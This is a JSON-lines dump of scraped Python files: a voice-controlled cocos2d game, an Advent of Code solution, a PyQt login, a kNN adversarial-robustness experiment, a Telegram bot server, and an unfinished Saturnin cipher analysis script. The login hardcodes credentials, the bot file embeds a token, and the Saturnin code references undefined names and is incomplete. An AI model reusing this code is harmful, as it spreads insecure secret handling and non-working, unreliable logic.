cocos.menu.ImageMenuItem(\"scene/button_exit.png\", self.exit)\n menu.create_menu([hard, normal, easy, exit])\n menu.position = 300, 10\n menu.scale = 1.2\n # menu的位置需要调整\n self.add(menu)\n\n def hard(self):\n cocos.director.director.push(cocos.scene.Scene(HowlGame(\"HARD\")))\n\n def normal(self):\n cocos.director.director.push(cocos.scene.Scene(HowlGame(\"NORMAL\")))\n\n def easy(self):\n cocos.director.director.push(cocos.scene.Scene(HowlGame(\"EASY\")))\n\n def exit(self):\n cocos.director.director.pop()\n\n\n# 游戏结束层(有点丑)\nclass GameOver(cocos.layer.Layer):\n def __init__(self, game):\n super(GameOver, self).__init__()\n self.game = game\n if self.game.role.dead:\n self.background = cocos.sprite.Sprite('scene/end.png')\n self.background.scale = 0.5\n else:\n self.background = cocos.sprite.Sprite('scene/win.png')\n # menu.font_title['font_name'] = FONTS\n # menu.font_item['font_name'] = FONTS\n # menu.font_item_selected['font_name'] = FONTS\n self.background.image_anchor = 0, 0\n self.add(self.background)\n menu = cocos.menu.Menu()\n start = cocos.menu.ImageMenuItem(\"scene/button_yes.png\", self.replay)\n exit = cocos.menu.ImageMenuItem(\"scene/button_no.png\", self.quit_game)\n menu.create_menu([start, exit])\n menu.y = -200\n self.add(menu)\n\n def replay(self):\n self.game.reset()\n\n def quit_game(self):\n cocos.director.director.pop()\n\n\nclass HowlGame(cocos.layer.ColorLayer):\n is_event_handler = True\n\n def __init__(self, level):\n super(HowlGame, self).__init__(255, 255, 255, 255, 4000, 2000)\n\n # init voice\n self.NUM_SAMPLES = 1000 # pyAudio内部缓存块大小\n self.LEVEL = 1500 # 声音保存的阈值\n self.sample_count = 0 # 取样次数\n self.average_volume = 0 # 平均音量\n\n # init floor\n self.floor = Floor(self, level)\n self.add(self.floor, 0)\n\n # init voiceBar\n self.voiceBar = Sprite('ground/black.png', color=(0, 0, 255))\n # self.voiceBar.position = 100, 460\n self.voiceBar.scale_y = 0.1\n self.voiceBar.image_anchor = 0, 0\n self.add(self.voiceBar, 1)\n\n # init role\n self.role = Role(self)\n self.role_run_to_right = False\n self.role_run_to_left = False\n self.add(self.role, 2)\n self.action = FadeOut(0.5)\n\n # init monster\n # self.monster_node = cocos.cocosnode.CocosNode()\n # for i in range(5):\n # self.monster_node.add(Monster(self))\n # self.add(self.monster_node)\n\n # init flag\n # flag = cocos.sprite.Sprite('scene/flag.png')\n # flag.position = 3500, 120\n # flag.scale = 0.5\n # self.flag = flag\n # self.add(flag)\n\n # init stone\n self.stone = None\n self.boom = cocos.sprite.Sprite('scene/boom.png')\n\n # init gameoverlayer\n self.gameover = None\n\n # Open Audio Input\n pa = PyAudio()\n SAMPLING_RATE = int(pa.get_device_info_by_index(0)['defaultSampleRate'])\n self.stream = pa.open(format=paInt16, channels=1, rate=SAMPLING_RATE, input=True, frames_per_buffer=self.NUM_SAMPLES)\n\n self.schedule(self.update)\n\n # role collide on floorNode\n def role_collide(self):\n # role在floor中的x坐标\n fx = self.role.x - self.floor.x\n fy = self.role.y\n width = self.role.width\n height = self.role.height\n count = 0\n for b in self.floor.map.get_children():\n # 左下\n if b.x < fx + width * 0.1 < b.x + b.width and b.y < fy < b.y + b.height:\n if (b.x + b.width - fx) < (b.y + b.height - fy):\n self.role.x = b.x + b.width + self.floor.x - width * 0.1\n else:\n self.role.land(b.y + b.height)\n count += 1\n continue\n # 右下\n if b.x < fx + width * 0.9 < b.x + b.width and b.y < fy < b.y + b.height:\n if (fx + width * 0.9 - b.x) < b.y + b.height - fy:\n self.role.x = b.x + self.floor.x - width * 0.9\n else:\n self.role.land(b.y + b.height)\n count += 1\n continue\n # 右上\n if b.x < fx + width * 0.9 < b.x + b.width and b.y < fy + height * 0.9 < b.y + b.height:\n if (fx + width * 0.9 - b.x) < fy + height - b.y:\n self.role.x = b.x + self.floor.x - width * 0.9\n else:\n self.role.y = b.y - height * 0.9\n self.role.speed = 0\n count += 1\n continue\n # 左上\n if b.x < fx + width * 0.1 < b.x + b.width and b.y < fy + height * 0.9 < b.y + b.height:\n if (b.x + b.width - fx) < fy + height - b.y:\n self.role.x = b.x + b.width + self.floor.x - width * 0.1\n else:\n self.role.y = b.y - height * 0.9\n self.role.speed = 0\n count += 1\n continue\n if count >= 3:\n break\n\n # stone collide on something\n def stone_collide(self):\n if self.role.can_shot:\n return\n px = self.stone.x - self.floor.x\n py = self.stone.y\n width = self.stone.width\n height = self.stone.height\n count = 0\n if px < 0:\n self.role.can_shot = True\n self.remove(self.stone)\n return\n if py < -100:\n self.role.can_shot = True\n self.remove(self.stone)\n for b in self.floor.map.get_children():\n # 左下\n if b.x < px + width * 0.2 < b.x + b.width and b.y < py < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n self.remove(self.stone)\n count += 1\n break\n # 右下\n if b.x < px + width * 0.8 < b.x + b.width and b.y < py < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n self.remove(self.stone)\n count += 1\n break\n # 右上\n if b.x < px + width * 0.8 < b.x + b.width and b.y < py + height < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n self.remove(self.stone)\n count += 1\n break\n # 左上\n if b.x < px + width * 0.2 < b.x + b.width and b.y < py + height < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n self.remove(self.stone)\n count += 1\n break\n # if count >= 3:\n # break\n\n # role on monster\n def monster_collide_on_role(self):\n # role在floor中的x坐标\n fx = self.role.x - self.floor.x\n fy = self.role.y\n width = self.role.width\n height = self.role.height\n for b in self.floor.monster_node.get_children():\n # role\n # 左下\n if b.x < fx + width * 0.2 < b.x + b.width and b.y < fy + height * 0.2 < b.y + b.height:\n self.role.die()\n break\n # 右下\n if b.x < fx + width * 0.8 < b.x + b.width and b.y < fy + height * 0.2 < b.y + b.height:\n self.role.die()\n break\n # 右上\n if b.x < fx + width * 0.8 < b.x + b.width and b.y < fy + height * 0.8 < b.y + b.height:\n self.role.die()\n break\n # 左上\n if b.x < fx + width * 0.2 < b.x + b.width and b.y < fy + height * 0.8 < b.y + b.height:\n self.role.die()\n break\n\n # stone on monster\n def monster_collide_on_stone(self):\n if self.role.can_shot:\n return\n # stone在floor中的x坐标\n px = self.stone.x - self.floor.x\n py = self.stone.y\n s_width = self.stone.width\n s_height = self.stone.height\n for b in self.floor.monster_node.get_children():\n # 左下\n if b.x < px + s_width * 0.1 < b.x + b.width and b.y < py < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n\n self.remove(self.stone)\n self.floor.monster_node.remove(b)\n break\n # 右下\n if b.x < px + s_width * 0.9 < b.x + b.width and b.y < py < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n\n self.remove(self.stone)\n self.floor.monster_node.remove(b)\n break\n # 右上\n if b.x < px + s_width * 0.9 < b.x + b.width and b.y < py + s_height < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n\n self.remove(self.stone)\n self.floor.monster_node.remove(b)\n break\n # 左上\n if b.x < px + s_width * 0.1 < b.x + b.width and b.y < py + s_height < b.y + b.height:\n self.role.can_shot = True\n\n # boom effect\n self.boom.position = px, py\n self.add(self.boom)\n self.boom.do(self.action)\n\n self.remove(self.stone)\n self.floor.monster_node.remove(b)\n break\n\n def update(self, dt):\n # 读入NUM_SAMPLES个取样\n string_audio_data = self.stream.read(self.NUM_SAMPLES)\n k = max(struct.unpack('1000h', string_audio_data))\n # 平均音量\n if self.sample_count < 50:\n self.average_volume = (self.average_volume * self.sample_count + k) / (self.sample_count + 1)\n self.sample_count += 1\n else:\n self.sample_count = 0\n self.average_volume = 0\n self.average_volume = (self.average_volume * self.sample_count + k) / (self.sample_count + 1)\n self.sample_count += 1\n\n # print voice\n self.voiceBar.scale_x = self.average_volume / 10000.0\n if self.role_run_to_right:\n self.role.x += 4\n # self.floor.x -= 5\n if self.role_run_to_left:\n self.role.x -= 4\n # self.floor.x += 5\n if self.role.can_shot:\n if self.sample_count == 50 and self.average_volume > 4000:\n pos = self.role.x + self.role.width * 0.8, self.role.y + self.role.height * 0.6\n stone = Stone((self.average_volume - 3000) / 1000.0 + 1, pos, self.role.direction)\n self.stone = stone\n self.add(stone)\n self.role.can_shot = False\n # if k > 3000:\n # self.floor.x -= min((k / 20.0), 150) * dt\n # k > 8000:\n # self.role.jump((k - 8000) / 1000.0)\n\n # destination\n if (self.role.x + self.role.width / 2) >= self.floor.flag.x:\n time.sleep(0.5)\n self.end_game()\n self.role.pause_scheduler()\n return\n\n # spider trigger\n if self.role.x > self.floor.spider.x - 50:\n self.floor.spider.passed = True\n # collision\n self.role_collide()\n self.monster_collide_on_role()\n if not self.role.can_shot:\n self.stone_collide()\n self.monster_collide_on_stone()\n\n def on_key_press(self, key, modifiers):\n if key == pyglet.window.key.RIGHT:\n self.role_run_to_right = True\n self.role.image_change(\"RIGHT\", \"RUN\")\n if key == pyglet.window.key.LEFT:\n self.role_run_to_left = True\n self.role.image_change(\"LEFT\", \"RUN\")\n if key == pyglet.window.key.UP:\n self.role.jump(8.5)\n if key == pyglet.window.key.B:\n cocos.director.director.pop()\n if key == pyglet.window.key.V:\n if self.role.can_shot:\n pos = self.role.x + self.role.width * 0.8, self.role.y + self.role.height * 0.6\n stone = Stone(1, pos, self.role.direction)\n self.stone = stone\n self.add(stone)\n self.role.can_shot = False\n\n def on_key_release(self, key, modifiers):\n if key == pyglet.window.key.RIGHT:\n self.role_run_to_right = False\n if self.role.direction == \"RIGHT\":\n self.role.image_change(\"RIGHT\", \"STAND\")\n if key == pyglet.window.key.LEFT:\n self.role_run_to_left = False\n if self.role.direction == \"LEFT\":\n self.role.image_change(\"LEFT\", \"STAND\")\n\n def reset(self):\n self.x = 0\n # self.floor.x = 0\n # 可进行地图重新生成\n self.role.reset()\n self.floor.reset()\n\n if self.gameover:\n self.remove(self.gameover)\n self.gameover = None\n\n self.role_run_to_right = False\n self.role_run_to_left = False\n self.resume_scheduler()\n\n def end_game(self):\n self.gameover = GameOver(self)\n #self.gameover.background.x = -self.x\n #self.gameover.background.y = -self.y\n self.gameover.x = -self.x\n self.gameover.y = -self.y\n self.add(self.gameover, 10000)\n self.pause_scheduler()\n\n def shake(self):\n pos = self.position\n pass\n\n\ncocos.director.director.init(width=960, height=510, caption=\"Rage Out Loud\")\ncocos.director.director.run(cocos.scene.Scene(GameStart()))\n\n\n\n","repo_name":"lupus666/howl","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":15336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8057131929","text":"##################################\n# --- Day 6: Binary Boarding --- #\n##################################\n\nimport AOCUtils\n\n##################################\n\nrawAnswers = AOCUtils.loadInput(6)\n\nfor i in range(len(rawAnswers)):\n if rawAnswers[i] == \"\": rawAnswers[i] = \"\\n\"\n\nrawGroups = \" \".join(rawAnswers).split(\"\\n\")\n\ngroups = [[set(answer) for answer in rawGroup.split()] for rawGroup in rawGroups]\n\np1 = sum(len(set.union(*group)) for group in groups)\nprint(\"Part 1: {}\".format(p1))\n\np2 = sum(len(set.intersection(*group)) for group in groups)\nprint(\"Part 2: {}\".format(p2))\n\nAOCUtils.printTimeTaken()","repo_name":"KanegaeGabriel/advent-of-code-2020","sub_path":"06_custom_customs.py","file_name":"06_custom_customs.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"37"} +{"seq_id":"15224682655","text":"from PyQt6 import uic, QtWidgets\r\nimport sqlite3\r\n\r\n\r\ndef chamar_segunda_tela():\r\n nomeusuairo = primeira_tela.lineEdit.text()\r\n senha = primeira_tela.lineEdit_2.text()\r\n if nomeusuairo == \"teste\" and senha == \"123\":\r\n primeira_tela.close()\r\n segunda_tela.show()\r\n else:\r\n print(\"dados incorretos\")\r\n\r\n\r\n\r\n\r\n\r\napp=QtWidgets.QApplication([])\r\nprimeira_tela = uic.loadUi(\"primeira_tela.ui\")\r\nsegunda_tela = uic.loadUi(\"segunda_tela.ui\")\r\nprimeira_tela.pushButton.clicked.connect(chamar_segunda_tela)\r\n# segunda_tela.pushButton.clicked.connect(checar_senha)\r\n\r\nprimeira_tela.show()\r\napp.exec()\r\n","repo_name":"Pedroguardiao/opensource","sub_path":"tela.py","file_name":"tela.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13088037174","text":"import logging\nimport pprint\nimport time\nfrom copy import deepcopy\n\nimport numpy as np\nimport torch\nimport scipy.stats as st\n\nfrom lib.dknn import DKNNL2, KNNModel\nfrom lib.dknn_attack_v2 import DKNNAttackV2\nfrom lib.loaders import initialize_data\nfrom lib.utils.utils import get_logger\n\n\ndef print_ci(mean, sem, num_trials):\n for ci in [0.9, 0.95, 0.99]:\n lo, hi = st.t.interval(ci, num_trials - 1, loc=mean, scale=sem)\n interval = mean - lo\n print(f'{ci}-confidence interval: {mean:.4f} +/- {interval:.4f}')\n\n\ndef get_ci(test_params, gc_params, scale, num_trials):\n\n output = {\n 'dist': [],\n 'runtime': []\n }\n rep = 0\n for _ in range(num_trials):\n mean_out = None\n while mean_out is None:\n test_params['seed'] = np.random.randint(2 ** 32 - 1)\n mean_out = main(test_params, gc_params, sw_scale=scale)\n rep += 1\n assert rep < num_trials * 2\n dist, runtime = mean_out\n output['dist'].append(dist)\n output['runtime'].append(runtime)\n\n print(output)\n print('Distance')\n mean = np.mean(output['dist'])\n sem = st.sem(output['dist'])\n print_ci(mean, sem, num_trials)\n\n print('Runtime')\n mean = np.mean(output['runtime'])\n sem = st.sem(output['runtime'])\n print_ci(mean, sem, num_trials)\n\n\ndef get_precise_label(points, labels, inpt, k, num_classes):\n \"\"\"\n Use this method to classify when is close to or on multiple\n bisectors. Normal knn can be ambiguous in this case.\n \"\"\"\n TOL = 1e-6\n\n dist = np.sum((inpt - points) ** 2, 1)\n # Find distance to the kth neighbor\n k_dist = np.sort(dist)[k - 1]\n indices = np.where(dist - k_dist < TOL)[0]\n\n close_indices = np.where(np.abs(dist - k_dist) < TOL)[0]\n sure_indices = np.setdiff1d(indices, close_indices)\n close_labels = labels[close_indices]\n sure_labels = labels[sure_indices]\n close_counts = np.bincount(close_labels, minlength=num_classes)\n sure_counts = np.bincount(sure_labels, minlength=num_classes)\n\n num_to_fill = k - sure_counts.sum()\n # If number of sure counts is k, then we are done\n assert num_to_fill >= 0\n if num_to_fill == 0:\n max_count = sure_counts.max()\n return np.where(sure_counts == max_count)[0]\n\n y_pred = []\n for i in range(num_classes):\n num_fill = min(num_to_fill, close_counts[i])\n new_counts = deepcopy(sure_counts)\n new_counts[i] += num_fill\n close_counts_tmp = deepcopy(close_counts)\n # Fill the other classes in a way that benefits class i most\n while num_fill < num_to_fill:\n assert np.all(close_counts_tmp >= 0)\n # Get classes that can still be filled except for i\n ind = np.setdiff1d(np.where(close_counts_tmp > 0)[0], i)\n # Find class with the smallest count\n ind_to_fill = ind[new_counts[ind].argmin()]\n new_counts[ind_to_fill] += 1\n close_counts_tmp[ind_to_fill] -= 1\n num_fill += 1\n assert new_counts.sum() == k\n max_count = new_counts.max()\n if new_counts[i] == max_count:\n y_pred.append(i)\n return np.array(y_pred)\n\n\ndef classify(x_train, y_train, x_test, y_test, gc_params, num_classes):\n ind = []\n assert len(x_test) == len(y_test)\n for i in range(len(x_test)):\n label = get_precise_label(\n x_train, y_train, x_test[i], gc_params['k'], num_classes)\n if y_test[i] in label and len(label) == 1:\n ind.append(i)\n return ind\n\n\ndef main(test_params, gc_params, sw_scale=1):\n\n # Set up logger\n log_name = 'sw_%s_k%d_exp%d' % (test_params['dataset'], gc_params['k'],\n test_params['exp'])\n log = get_logger(log_name, level=test_params['log_level'])\n log.info('\\n%s', pprint.pformat(test_params))\n\n # Load data\n x_train, y_train, x_test, y_test = initialize_data(test_params)\n x_train = x_train.astype(gc_params['dtype'])\n x_test = x_test.astype(gc_params['dtype'])\n num_test = test_params['num_test']\n num_classes = len(np.unique(y_train))\n log.info('Training data shape: %s' % str(x_train.shape))\n log.info('Test data shape: %s' % str(x_test.shape))\n\n # DEBUG\n # from scipy.spatial import Voronoi\n # start = time.time()\n # vor = Voronoi(x_train)\n # log.info('Time for building a Voronoi digram: %ds', time.time() - start)\n # return\n\n log.info('Setting up a quick attack for computing loose upperbound...')\n net_knn = KNNModel()\n knn = DKNNL2(net_knn,\n torch.from_numpy(x_train), torch.from_numpy(y_train),\n torch.from_numpy(x_test), torch.from_numpy(y_test),\n ['identity'], k=gc_params['k'],\n num_classes=num_classes,\n device=gc_params['device'])\n\n attack = DKNNAttackV2(knn)\n\n params = {\n 'binary_search_steps': 5,\n 'max_iterations': 1000,\n 'thres_steps': 50,\n 'check_adv_steps': 50,\n }\n\n for key in params:\n if key in ('binary_search_steps', 'max_iterations'):\n params[key] = int(params[key] * sw_scale)\n else:\n params[key] = int(np.ceil(params[key] / sw_scale))\n\n def attack_batch(x, y, batch_size, mode):\n x_adv = torch.zeros_like(x)\n total_num = x.size(0)\n num_batches = int(np.ceil(total_num / batch_size))\n\n for i in range(num_batches):\n begin = i * batch_size\n end = (i + 1) * batch_size\n mode_params = {\n 1: {\n 'init_mode': 1,\n 'init_mode_k': 1,\n 'learning_rate': 1e-2,\n },\n 2: {\n 'init_mode': 2,\n 'init_mode_k': gc_params['k'],\n 'learning_rate': 1e-1,\n },\n }[mode]\n x_adv[begin:end] = attack(\n x[begin:end], y[begin:end], 2, guide_layer=['identity'],\n m=gc_params['k'] * 2, max_linf=None, random_start=True,\n initial_const=1e-1, verbose=False, **params, **mode_params)\n return x_adv\n\n log.info('Finding correctly classified samples...')\n y_pred = knn.classify(torch.from_numpy(x_test[:num_test * 2]))\n ind = np.where(y_pred.argmax(1) == y_test[:num_test * 2])[0]\n ind = ind[:num_test]\n assert len(ind) == num_test\n\n # DEBUG: testing min distance to diff class\n # dist_all = []\n # for x, y in zip(x_test[ind], y_test[ind]):\n # dists = np.sqrt(((x - x_train) ** 2).sum(1))\n # dist_all.append(dists[y != y_train].min())\n # print(np.mean(dist_all))\n # assert False\n\n start = time.time()\n log.info('Running the heuristic attack...')\n x_adv = attack_batch(\n torch.from_numpy(x_test[ind]).to(gc_params['device']),\n torch.from_numpy(y_test[ind]).to(gc_params['device']), 100, 1)\n\n # Verify that x_adv is adversarial\n log.info('Verifying the heuristic attack...')\n ind_correct = classify(\n x_train, y_train, x_adv.detach().cpu().numpy(), y_test[ind],\n gc_params, num_classes)\n log.info('Success rate of the heuristic attack (1): '\n f'{(1 - len(ind_correct) / num_test):.2f}')\n upperbound = np.linalg.norm(x_adv.detach().numpy() - x_test[ind], 2, 1)\n upperbound[ind_correct] = np.inf\n\n # Re-run the heuristic attack with 2 if some are\n # not successful\n if len(ind_correct) > 0:\n log.info('Running the heuristic attack (2)...')\n x_adv2 = attack_batch(\n torch.from_numpy(x_test[ind]).to(gc_params['device']),\n torch.from_numpy(y_test[ind]).to(gc_params['device']), 100, 2)\n log.info('Verifying the heuristic attack (2)...')\n ind_correct = classify(\n x_train, y_train, x_adv2.detach().cpu().numpy(), y_test[ind],\n gc_params, num_classes)\n upperbound2 = np.linalg.norm(x_adv2.detach().numpy() - x_test[ind], 2, 1)\n upperbound2[ind_correct] = np.inf\n ind2 = upperbound2 < upperbound\n upperbound[ind2] = upperbound2[ind2]\n x_adv[ind2] = x_adv2[ind2]\n log.info('Upper bound found by a quick attack: %s', str(upperbound))\n if np.any(upperbound > 1e9):\n log.info('Not all heuristic attacks succeed! Fix this manually.')\n return None\n\n runtime = time.time() - start\n log.info('Total runtime: %.2fs', runtime)\n log.info('SW mean dist.: %.4f' % np.mean(upperbound))\n\n # Closing log files\n handlers = log.handlers[:]\n for handler in handlers:\n handler.close()\n log.removeHandler(handler)\n\n return np.mean(upperbound), runtime\n\n\nif __name__ == '__main__':\n\n gc_params = {\n 'k': 7,\n 'device': 'cpu',\n 'dtype': np.float32,\n }\n\n test_params = {\n 'exp': 1,\n # 'dataset': 'letter',\n # 'dataset': 'pendigits',\n # 'dataset': 'mnist',\n # 'dataset': 'gaussian',\n 'dataset': 'australian',\n # 'dataset': 'cancer',\n # 'dataset': 'diabetes',\n # 'dataset': 'fourclass',\n # 'dataset': 'covtype',\n # 'dataset': 'halfmoon',\n # 'dataset': 'yang-mnist',\n # 'dataset': 'yang-fmnist',\n # 'dataset': 'ijcnn',\n 'dataset_dir': '/home/chawin/space-partition-adv/data/',\n 'random': True,\n 'seed': 1,\n 'partial': False,\n 'label_domain': (1, 7), # Only used when partial = True\n 'num_test': 100,\n 'log_level': logging.INFO,\n 'gaussian': {\n 'dim': 20,\n 'dist': 0.5,\n 'sd': 1.,\n 'num_points': 12500,\n 'test_ratio': 0.2\n }\n }\n\n # for i, scale in enumerate([8]):\n # # for i, scale in enumerate([1, 2, 3, 4, 5, 6]):\n # test_params['exp'] = i + 5\n # main(test_params, gc_params, sw_scale=scale)\n\n for dataset in [\n # 'australian',\n 'covtype',\n 'diabetes',\n 'fourclass',\n 'gaussian',\n 'letter',\n 'yang-fmnist'\n ]:\n test_params['dataset'] = dataset\n print(f'===================== {dataset} =====================')\n get_ci(test_params, gc_params, 4, 10)\n","repo_name":"wagner-group/geoadex","sub_path":"test_sw.py","file_name":"test_sw.py","file_ext":"py","file_size_in_byte":10255,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"14288027278","text":"\"\"\"\nThis script runs the application using a development server.\n\"\"\"\n\nimport bottle\nimport os\nimport sys\n\n# routes contains the HTTP handlers for our server and must be imported.\nimport routes\nimport telebot\n\nTOKEN = 'AAFvOi0o7SbiuNrNk-T4rWD6McEtyQVUixQ'\nAPPNAME = 'CentCTB'\n\nbot = telebot.TeleBot(TOKEN)\n\n@bot.message_handler(content_types=[\"text\"])\ndef repeat_all_messages(message): # Название функции не играет никакой роли, в принципе\n bot.send_message(message.chat.id, message.text)\n\nclass SSLWSGIRefServer(bottle.ServerAdapter):\n def run(self, handler):\n from wsgiref.simple_server import make_server, WSGIRequestHandler\n import ssl\n if self.quiet:\n class QuietHandler(WSGIRequestHandler):\n def log_request(*args, **kw): pass\n self.options['handler_class'] = QuietHandler\n srv = make_server(self.host, self.port, handler, **self.options)\n srv.socket = ssl.wrap_socket (srv.socket,\n certfile='server.pem', server_side=True)\n srv.serve_forever()\n\nif '--debug' in sys.argv[1:] or 'SERVER_DEBUG' in os.environ:\n # Debug mode will enable more verbose output in the console window.\n # It must be set at the beginning of the script.\n bottle.debug(True)\n\ndef wsgi_app():\n \"\"\"Returns the application to make available through wfastcgi. This is used\n when the site is published to Microsoft Azure.\"\"\"\n return bottle.default_app()\n\nif __name__ == '__main__':\n app = bottle.Bottle()\n srv = SSLWSGIRefServer(host=\"centctb.azurewebsites.net\", port=80)\n bottle.run(server=srv)\n bot.polling(none_stop=True)\n\n @bottle.route('/static/')\n def server_static(filepath):\n \"\"\"Handler for static files, used with the development server.\n When running under a production server such as IIS or Apache,\n the server should be configured to serve the static files.\"\"\"\n return bottle.static_file(filepath, root=STATIC_ROOT)\n\n # Starts a local test server.\n bottle.run(server='wsgiref', host=HOST, port=PORT)\n","repo_name":"mozed/CentroliteControlBot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71149921389","text":"'''\nCreated on Aug 9, 2023\n\n@author: liyu0x\n'''\n\nfrom parser import stpcommands\nfrom ciphers.cipher import AbstractCipher\n\n\nclass SaturninCipher(AbstractCipher):\n name = \"saturnin\"\n\n def getFormatString(self):\n \"\"\"\n Returns the print format.\n \"\"\"\n return ['S', 'P', 'w']\n\n def createSTP(self, stp_filename, parameters):\n\n word_size = parameters[\"wordsize\"]\n rounds = parameters[\"rounds\"]\n weight = parameters[\"sweight\"]\n\n if word_size != 256:\n print(\"Only wordsize of 256-bit supported.\")\n exit(1)\n if rounds % 2 != 0:\n print(\"Only rounds of even number supported.\")\n exit(1)\n\n with open(stp_filename, 'w') as stp_file:\n header = (\"% Input File for STP\\n% SATURNIN WordSize={}\"\n \"rounds={}\\n\\n\\n\".format(word_size, rounds))\n stp_file.write(header)\n\n # Setup variables\n s = [\"S{}\".format(i) for i in range(rounds + 1)]\n p = [\"P{}\".format(i) for i in range(rounds)]\n\n # w = weight\n w = [\"w{}\".format(i) for i in range(rounds)]\n\n stpcommands.setupVariables(stp_file, s, wordsize)\n stpcommands.setupVariables(stp_file, p, wordsize)\n stpcommands.setupVariables(stp_file, w, wordsize)\n\n stpcommands.setupWeightComputation(stp_file, weight, w, wordsize)\n\n for i in range(rounds):\n self.setupPresentRound(stp_file, s[i], p[i], s[i + 1],\n w[i], wordsize)\n\n # No all zero characteristic\n stpcommands.assertNonZero(stp_file, s, wordsize)\n\n # Iterative characteristics only\n # Input difference = Output difference\n if parameters[\"iterative\"]:\n stpcommands.assertVariableValue(stp_file, s[0], s[rounds])\n\n for key, value in parameters[\"fixedVariables\"].items():\n stpcommands.assertVariableValue(stp_file, key, value)\n\n for char in parameters[\"blockedCharacteristics\"]:\n stpcommands.blockCharacteristic(stp_file, char, wordsize)\n\n stpcommands.setupQuery(stp_file)\n\n return\n\n def setup_even_round(self, stp_file, s_in, p, alpha_1, alpha_2, s_out, w, word_size):\n \"\"\"\n EVEN ROUND: 1. Sbox 2. MDS\n \"\"\"\n command = \"\"\n\n even_nibble_index_s_box_0 = [0, 6, 14, 1, 15, 4, 7, 13, 9, 8, 12, 5, 2, 10, 3, 11]\n odd_nibble_index_s_box_1 = [0, 9, 13, 2, 15, 1, 11, 7, 6, 4, 5, 3, 8, 12, 10, 14]\n\n # coordinate(x,y,z) , a nibble is from y+4*x+16*z to y+4x+16z+3\n\n # Sbox\n for x in range(4):\n for y in range(4):\n for z in range(4):\n nibble_index = y + 4 * x + 16 * z\n variables = [\"{0}[{1}:{1}]\".format(s_in, nibble_index + 3),\n \"{0}[{1}:{1}]\".format(s_in, nibble_index + 2),\n \"{0}[{1}:{1}]\".format(s_in, nibble_index + 1),\n \"{0}[{1}:{1}]\".format(s_in, nibble_index + 0),\n \"{0}[{1}:{1}]\".format(p, nibble_index + 3),\n \"{0}[{1}:{1}]\".format(p, nibble_index + 2),\n \"{0}[{1}:{1}]\".format(p, nibble_index + 1),\n \"{0}[{1}:{1}]\".format(p, nibble_index + 0),\n \"{0}[{1}:{1}]\".format(w, nibble_index + 3),\n \"{0}[{1}:{1}]\".format(w, nibble_index + 2),\n \"{0}[{1}:{1}]\".format(w, nibble_index + 1),\n \"{0}[{1}:{1}]\".format(w, nibble_index + 0)]\n present_s_box = even_nibble_index_s_box_0 if nibble_index % 2 == 0 else odd_nibble_index_s_box_1\n command += stpcommands.add4bitSbox(present_s_box, variables)\n\n # MDS nibbles (4i,4i+1,4i+2,4i+3)\n for i in range(16):\n a = p[4 * i + 0:4 * i + 0 + 3]\n b = p[4 * i + 1:4 * i + 1 + 3]\n c = p[4 * i + 2:4 * i + 2 + 3]\n d = p[4 * i + 3:4 * i + 3 + 3]\n a1 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n a2 = msd_alpha_2(a, alpha_2[4 * i + 0:4 * i + 0 + 3])\n b1 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n b2 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n c1 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n c2 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n d1 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n d2 = msd_alpha_1(a, alpha_1[4 * i + 0:4 * i + 0 + 3])\n\n stp_file.write(command)\n return\n\n\n# -------------------------------------------\n\ndef xor(_ins: list, _out):\n template = \"BVXOR({0}, {1})\"\n express = _ins[0]\n for i in range(1, len(_ins)):\n _in = _ins[i]\n express = template.format(_in, express)\n return \"ASSERT({0}={1});\".format(_out, express)\n\n\ndef msd_alpha_1(_in: list, _out: list):\n commend = \"ASSERT({0} = {1});\".format(_out[0], _in[1])\n commend += \"ASSERT({0} = {1});\".format(_out[1], _in[2])\n commend += \"ASSERT({0} = {1});\".format(_out[2], _in[3])\n commend += \"ASSERT({0} = BVXOR({1},{2}));\".format(_out[3], _in[0], _in[1])\n return commend\n\n\ndef msd_alpha_2(_in: list, _out: list):\n commend = \"ASSERT({0} = {1});\".format(_out[0], _in[2])\n commend += \"ASSERT({0} = {1});\".format(_out[1], _in[3])\n commend += \"ASSERT({0} = BVXOR({1},{2}));\".format(_out[2], _in[0], _in[1])\n commend += \"ASSERT({0} = BVXOR({1},{2}));\".format(_out[3], _in[1], _in[2])\n return commend\n","repo_name":"liyu0x/Boomerang-Saturnin","sub_path":"saturnin.py","file_name":"saturnin.py","file_ext":"py","file_size_in_byte":5715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42074713150","text":"\nimport os\n\nimport copy\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport 